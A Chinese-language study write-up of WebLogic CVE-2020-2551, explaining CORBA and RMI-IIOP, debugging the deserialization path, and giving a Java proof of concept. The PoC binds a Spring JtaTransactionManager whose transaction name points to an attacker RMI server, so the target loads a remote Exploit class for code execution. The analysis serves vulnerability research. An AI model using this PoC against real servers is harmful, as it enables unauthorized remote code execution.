weblogic-CVE-2020-2551-IIOP反序列化学习记录
CORBA:
具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点:
1.什么是CORBA?
CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,是OMG(对象管理组织)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。
2.CORBA能干什么?
实现远程对象的调用
3.CORBA分为几部分?
naming service //个人感觉类似于RMI的注册表服务
client side
servant side
4.CORBA的通信流程是怎样的?
从大体上了解通信流程是怎样的,这里借用里面的图:
1.启动orbd作为naming service,会创建name service服务。
2.corba server向orbd发送请求获取name service,协商好通信格式
3.orbd返回保存的name service
4.corba server拿到name service后将具体的实现类绑定到name service上,这个时候orbd会拿到注册后的信息,这个信息就是IOR。
5.corba client向orbd发起请求获取name service。
6.orbd返回保存的name service。
7.corba client在name service中查找已经注册的信息获取到“引用”的信息(corba server的地址等),通过orb的连接功能将远程方法调用的请求转发到corba server。
8.corba server通过orb接收请求,并利用POA拦截请求,将请求中所指定的类封装好,同样通过orb的连接功能返回给corba client。
以上1-4步主要为服务端参与,即完成服务端去注册类的信息,每个类对应一个IOR,里面包含对所注册的类的描述信息
以上5-8步主要为客户端通过orb来获取name service,然后在注册信息中查找想要调用的类的“引用”,拿到stub,然后调用方法,经orb传到服务端被poa拦截后处理只将结果返回给客户端,所以方法执行不在客户端,为rpc(远程过程调用)
5.CORBA用来进行数据传输的协议是什么?
GIOP全称(General Inter-ORB Protocol)通用对象请求协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通信的媒介。
6.什么是ORB?
orb就是(Object Request Broker)对象请求代理,
充当客户端与服务端通信的媒介,而客户端或服务端想要调用orb
来发送/处理请求就需要Stub
和skeleton
,这两部分的具体实现就是Stub
与POA
。
7.什么是ORBD?
ORBD可以理解为ORB的守护进程,其主要负责建立客户端(client side
)与服务端(servant side
)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service
的作用,所以客户端和服务端要使用ORB,都要指定ORBD的端口和地址。
8.什么是stub和poa?
Stub
是client side
调用orb
的媒介,POA
是servant side
用于拦截client
请求的媒介,而两者在结构上其实都是客户端/服务端调用orb
的媒介
9.stub的生成方式是什么?
客户端stub的生成方式(不只以下三种):
首先获取NameServer,后通过resolve_str()方法生成(NameServer生成方式)
使用ORB.string_to_object生成(ORB生成方式)
使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)
而以上三种方法都可以总结成两步:
从orbd获取NameService,NameService中包含IOR
根据IOR的信息完成rpc调用
10.IOR中包含什么?
type_id:用于指定本次(资料库或者说是引用)注册的id(实际上是接口类型,就是用于表示接口的唯一标识符),用于实现类型安全。
Profile_host、Profile_port:servant side地址。
Profile ID:指定了profile_data中的内容,例如这里的TAG_INTERNET_IOP所指定的就是IIOP Profile。
Codebase:用于获取stub类的远程位置。通过控制这个属性,攻击者将控制在服务器中解码IOR引用的类
11.CORBA数据的特点是什么?
CORBA的数据传递与传统的序列化传输方式不同,即在二进制流中没有ac ed 00 05
的标识,所以单纯从流量的角度是很难识别的,只能从流量上下文中进行识别。
12.编写一个Java CORBA IIOP远程调用步骤:
1.使用idl定义远程接口
2.使用idlj编译idl,将idl映射为Java,它将生成接口的Java版本类以及存根和骨架的类代码文件,这些文件使应用程序可以挂接到ORB。在远程调用的客户端与服务端编写代码中会使用到这些类文件。
3.编写服务端代码
4.编写客户端代码
5.依次启动命名服务->服务端->客户端
由上面的话可以明白服务端挂到ORB上的类必须给客户端生成用于IIOP通信的客户端和服务端类,客户端与服务端的通信依靠着stub,stub从orb中拿
corba的iiop需要字节编写idl接口,并且编译成java类,比较麻烦,所以有了rmi-iiop,结合了rmi的优点,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL)
rmi-iiop例子
服务端代码:
package com.longofo.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.util.Hashtable; public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //设置codebase地址 //实例化Hello servant HelloImpl helloRef = new HelloImpl(); //要绑定的类 //使用JNDI在命名服务中发布引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); //通过定义命名 HelloService 对应要绑定的类(实际上绑定的为实例) System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); //初始化上下文 env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } }
客户端代码:
package com.longofo.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.rmi.PortableRemoteObject; import java.util.Hashtable; public class HelloClient { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //从命名服务获取引用,拿到stub Object objRef = initialContext.lookup("HelloService"); //narrow引用为具体的对象 HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class); EvilMessage message = new EvilMessage(); //发送该对象到服务端,服务端收到后将会还原该对象,即调用该类的readObject message.setMsg("Client call method sayHello..."); hello.sayHello(message); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } }
首先要为客户端和服务端针对HelloImpl接口生成为了进行远程调用所需要的类
此时新生成了两个文件,一个tie是服务端用的,一个stub是客户端用的
那么服务端实际上只完成的是匹配sayhello方法和反射调用,客户端主要定义了服务端可调用的sayhello方法的基本架构,那你客户端只有拿到这个stub才能调用远程对象的方法就说的通了,只要将这个类文件托管到orb上,orbd对接收到的客户端的iiop请求进行匹配,若是请求名是对应为对该类文件的绑定,则进行该类文件的分发,客户端拿到该类文件实际上就是拿到stub,然后客户端本地在通过该stub来实现所谓的远程调用
然后再启动orbd进程,作为实际的orb操作者,监听1050端口,然后再启动服务端
之后启动客户端调用sayhello的同时发送message对象,此时因为服务端收到message对象
并且调用了其readObject方法,当然这里作为实验只是重写了readObject方法,那么如果服务器端本地有可以利用的gadget,并且可调用的方法的入口参数也为object类型,那么同样可以打,但是这里和之前学习rmi调用时存在的洞很类似,利用的限制条件还是比较高的,首先客户端也要有你服务器端反序列化的该类的定义,并且报名类名得完全一致才可以
后面也示范了动态类加载的机制,也就是和rmi一样,反序列化过程中本地找不到需要的class将去codebase指定的地址进行记载。
Weblogic中的RMI-IIOP
Weblogic默认是开启了iiop协议的,但是如果想要如上述流程来打weblogic,那么就要找到weblogic中绑定到orb的类必须得给客户端和服务端生成远程调用的两种类,然而Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了的正是服务端去绑定类的时黑名单的绕过,weblogic安装可以参考https://blog.csdn.net/acmman/article/details/70093877这篇文章,因为要对weblogic进行debug,因此在user_projects\domains\base_domain的startWebLogic.cmd文件中中设置debug标志
接下来配置idea,添加debug要依赖的jar包
添加debug链接选项,端口就写上面weblogic开的debug端口
poc:
public class Main { public static void main(String[] args) throws Exception { String ip = "192.168.3.247"; String port ="7001"; String rmiurl = "rmi://192.168.3.199:1099/Exploit"; String rhost = String.format("iiop://%s:%s", ip, port); Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", rhost); Context context = new InitialContext(env); JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName(rmiurl); context.bind("tr1ple", jtaTransactionManager); } }
这里用到了一个入口类org.springframework.transaction.jta.JtaTransactionManager,该类在之前在spring里就爆出过jndi
spring-jndi:
先本地测试一下这个类:
这里需要添加两个依赖:
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>4.2.4.RELEASE</version> </dependency> <!-- https://mvnrepository.com/artifact/org.springframework/spring-context --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.2.4.RELEASE</version> </dependency>
调用栈如下所示:
那么首先进入该类的initUserTransactionAndTransactionManager方法中
然后将进入this.lookupUserTransaction方法中,因为this.userTransaction默认为null
那么此时就看到熟悉的lookup函数了,并且此时的userTransactionName又是可控的,所以妥妥的JNDI注入
那么本地起个rmi referver即可,那么在getObjectFactoryFromReference函数中就会到rmi server指定的codebase去加载工厂类
最终通过newInstance实例化工厂类从而触发calc
cve-2020-2551:
首先根据poc的bind函数下端点,看一下要进行什么操作,因为在获取上下文时poc已经要与orb进行一次通信,所以此时数据包:
首先客户端192.168.3.199向weblogic 192.168.3.247请求locaterequest,这里实际上是请求nameservice
然后orb返回的数据包中包含命名上下文和ior
然后步入bind函数:
这里实际上是调用orb返回的命名上下文将我们指定的JtaTransactionManager实例向orb进行绑定
接下来在bind_any函数中进行序列化数据的构造,这里可以看到weblogic用的序列化输出流是iiopOutputstream,所以在网络中传输的数据流中是看不到原生objectoutputsteam的magic头部的
接着调用iiopOutputstream的write_any函数写入jta类,进一步在weblogic/corba/idl/AnyImpl的write_value中写入序列化数据
接着调用_invoke发送序列化数据
并最终调用EndpointImpl的send函数发送上文构造的iiopoutputstream,可以看到里面的giop数据已经在本地构造完成,所以此时199将给orb发送一条giop消息,进行jta类实例的绑定
那么此时对于weblogic而言应该接受到了giop消息,所以要对其进行处理,那么序列化用的是iiopoutputstream,那么反序列化应该用的是iiopInputstream输入流,因此找到该类的read_any处下断点并发送poc
和序列化相对应,此时实例化AnyImpl实例调用其read_value读取序列化数据,并且在ValueHandlerImpl.readValue中从iiopStream中拿到objectInputstream然后调用jta类的readObject进行反序列化
接下来就是之前讲的spring的jndi,weblogic加载Exploit.class从而进行rce
调试时注意问题:
因为这里实际上是模拟服务端来向orb绑定,因此服务端相对于orb来说也是一个客户端,这里要用到orbhelper来获取命名服务
而getORBhelper里面会判断当前是不是瘦客户端
因为要模拟服务器端所以,这里必须让thinClient为false,因此这个静态代码快必须到捕获异常块
总结:
整个攻击过程就是假冒服务端来进行类实例的绑定而与weblogic进行giop通信发送序列化数据,而weblogic接收到序列化数据再进行实例还原,整个流程没问题,主要还是weblogic本身在反序列化是没有对类黑名单做好限制。当然在分析过程中抓包来分析通信也更能清晰了解网络通信流程,也更有助于我们理解漏洞原理。
weblogic-cve-2020-2551 IIOP反序列化导致远程代码执行漏洞,主要是IIOP支持RMI方式的远程方法调用,所以在CORBA这种通信架构中可以伪造服务端和ORB通信,在获取到context后,绑定恶意的远程调用类到ORB,加上黑名单校验不严,存在springboot的jndi注入的gadget,因此导致回连恶意的rmi server造成加载我们构造的任意字节码来RCE
参考:
1.https://www.anquanke.com/post/id/196555 讲java corba的文章
2.https://www.anquanke.com/post/id/175738 基于攻击流量和日志对Weblogic各类漏洞的分析思路
3.https://www.anquanke.com/post/id/177546 WebLogic 多个CVE XXE漏洞分析
4.https://www.anquanke.com/post/id/180725 浅谈Weblogic反序列化——XMLDecoder的绕过史
5.https://www.anquanke.com/post/id/195865#h2-2 t3反序列化
7.https://www.anquanke.com/post/id/199227 讲corba的原理
9.https://www.anquanke.com/post/id/184068#h2-14 讲weblogic 很详细
10.https://blog.csdn.net/acmman/article/details/70093877 weblogic安装
11.https://www.anquanke.com/post/id/199966 cve 2020-2551
12.https://xz.aliyun.com/t/7374#toc-9 cve 2020-2551
13.https://www.anquanke.com/post/id/199695#h3-2 cve 2020-2551
14.https://www.anquanke.com/post/id/197605 iiop反序列化